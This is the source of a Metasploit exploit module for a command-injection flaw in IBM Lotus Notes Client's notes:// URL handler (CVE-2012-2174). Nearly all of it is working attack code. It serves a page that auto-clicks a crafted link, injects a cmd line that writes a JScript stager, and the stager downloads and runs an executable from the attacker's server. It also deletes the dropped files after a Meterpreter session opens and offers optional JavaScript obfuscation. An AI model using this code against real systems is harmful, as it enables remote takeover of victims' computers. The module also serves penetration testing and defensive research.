## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "IBM Lotus Notes Client URL Handler Command Injection", 'Description' => %q{ This modules exploits a command injection vulnerability in the URL handler for for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with an specially crafted notes:// URL to execute arbitrary commands with also arbitrary arguments. This module has been tested successfully on Windows XP SP3 with IE8, Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Moritz Jodeit', # Vulnerability discovery 'Sean de Regge', # Vulnerability analysis 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2012-2174' ], [ 'OSVDB', '83063' ], [ 'BID', '54070' ], [ 'ZDI', '12-154' ], [ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ] ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500 }, 'DefaultOptions' => { 'EXITFUNC' => "none", 'InitialAutoRunScript' => 'migrate -k -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Jun 18 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @exe_name = rand_text_alpha(2) + ".exe" @stage_name = rand_text_alpha(2) + ".js" super end def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin wintemp = session.fs.file.expand_path("%TEMP%") win_file = "#{wintemp}\\#{win_file}" # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the # read-only flag with a command. session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) print_good("Deleted #{file}") true rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to delete #{win_file}") false end end end end def on_request_uri(cli, request) if request.uri =~ /\.exe$/ return if ((p=regenerate_payload(cli))==nil) register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}") register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}") data = generate_payload_exe({:code=>p.encoded}) print_status("Sending payload") send_response(cli, data, {'Content-Type'=>'application/octet-stream'}) return end my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] if datastore['SSL'] schema = "https" else schema = "http" end uri = "#{schema}://#{my_host}" uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe" script = "var w=new ActiveXObject('wscript.shell');" script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');" script << "var x=new ActiveXObject('Microsoft.XMLHTTP');" script << "x.open('GET','#{uri}', false);" script << "x.send();" script << "var s=new ActiveXObject('ADODB.Stream');" script << "s.Mode=3;" script << "s.Type=1;" script << "s.Open();" script << "s.Write(x.responseBody);" script << "s.SaveToFile('#{@exe_name}',2);" script << "w.Run('#{@exe_name}');" vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM" link_id = rand_text_alpha(5 + rand(5)) js_click_link = %Q| function clickLink(link) { var cancelled = false; if (document.createEvent) { var event = document.createEvent("MouseEvents"); event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); cancelled = !link.dispatchEvent(event); } else if (link.fireEvent) { cancelled = !link.fireEvent("onclick"); } if (!cancelled) { window.location = link.href; } } | if datastore['OBFUSCATE'] js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link) js_click_link.obfuscate js_click_link_fn = js_click_link.sym('clickLink') else js_click_link_fn = 'clickLink' end html = <<-EOS
EOS print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end